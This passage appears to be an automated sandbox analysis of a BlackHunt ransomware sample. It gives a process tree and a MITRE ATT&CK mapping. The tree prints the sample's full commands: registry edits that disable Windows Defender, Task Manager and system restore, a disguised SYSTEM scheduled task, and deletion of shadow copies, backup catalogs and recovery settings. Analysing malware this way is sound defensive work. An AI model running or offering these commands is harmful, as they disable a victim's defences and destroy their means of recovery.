- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:4780
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4340
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
    3⤵
    - Modifies registry class
    PID:5024
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3880
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:5080
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3084
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
    3⤵
    - Modifies registry class
    PID:1816
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3112
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:380
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1812
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
    3⤵
    - Adds Run key to start application
    PID:1516
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  PID:4672
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
    3⤵
    PID:1052
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  PID:5000
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:816
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  PID:392
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
    3⤵
    PID:224
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  PID:1300
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
    3⤵
    PID:2208
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  PID:2804
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
    3⤵
    PID:3716
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  PID:1560
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
    3⤵
    PID:4076
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  PID:1916
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
    3⤵
    PID:2736
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  PID:2372
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
    3⤵
    PID:1404
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:4764
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
    3⤵
    PID:1232
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:4624
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
    3⤵
    PID:948
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:648
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
    3⤵
    PID:1248
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  PID:2612
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
    3⤵
    PID:4144
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:3516
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:2516
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:1268
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
    3⤵
    PID:4456
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:4872
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:3440
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:2352
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
    3⤵
    PID:3048
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:4392
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
    3⤵
    PID:1200
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:1544
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
    3⤵
    PID:1880
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:1632
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
    3⤵
    PID:2128
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:4412
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:5076
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:4536
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:3120
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:4552
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
    3⤵
    PID:4892
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:4796
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
    3⤵
    PID:4340
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1044
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:2924
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe" /F
  2⤵
  PID:2776
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:1768
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  2⤵
  PID:3596
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:4492
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  PID:3804
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:4304
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:464
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
    3⤵
    - Interacts with shadow copies
    PID:4704
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  PID:224
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
    3⤵
    - Interacts with shadow copies
    PID:5032
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:4432
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:1132
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:3672
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:4728
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:3132
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:1960
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:3988
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:3876
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:2184
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:2352
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:3952
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:5072

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3124

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4972

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:1140

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
- Checks SCSI registry key(s)
PID:4964

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Data Destruction

T1485

Inhibit System Recovery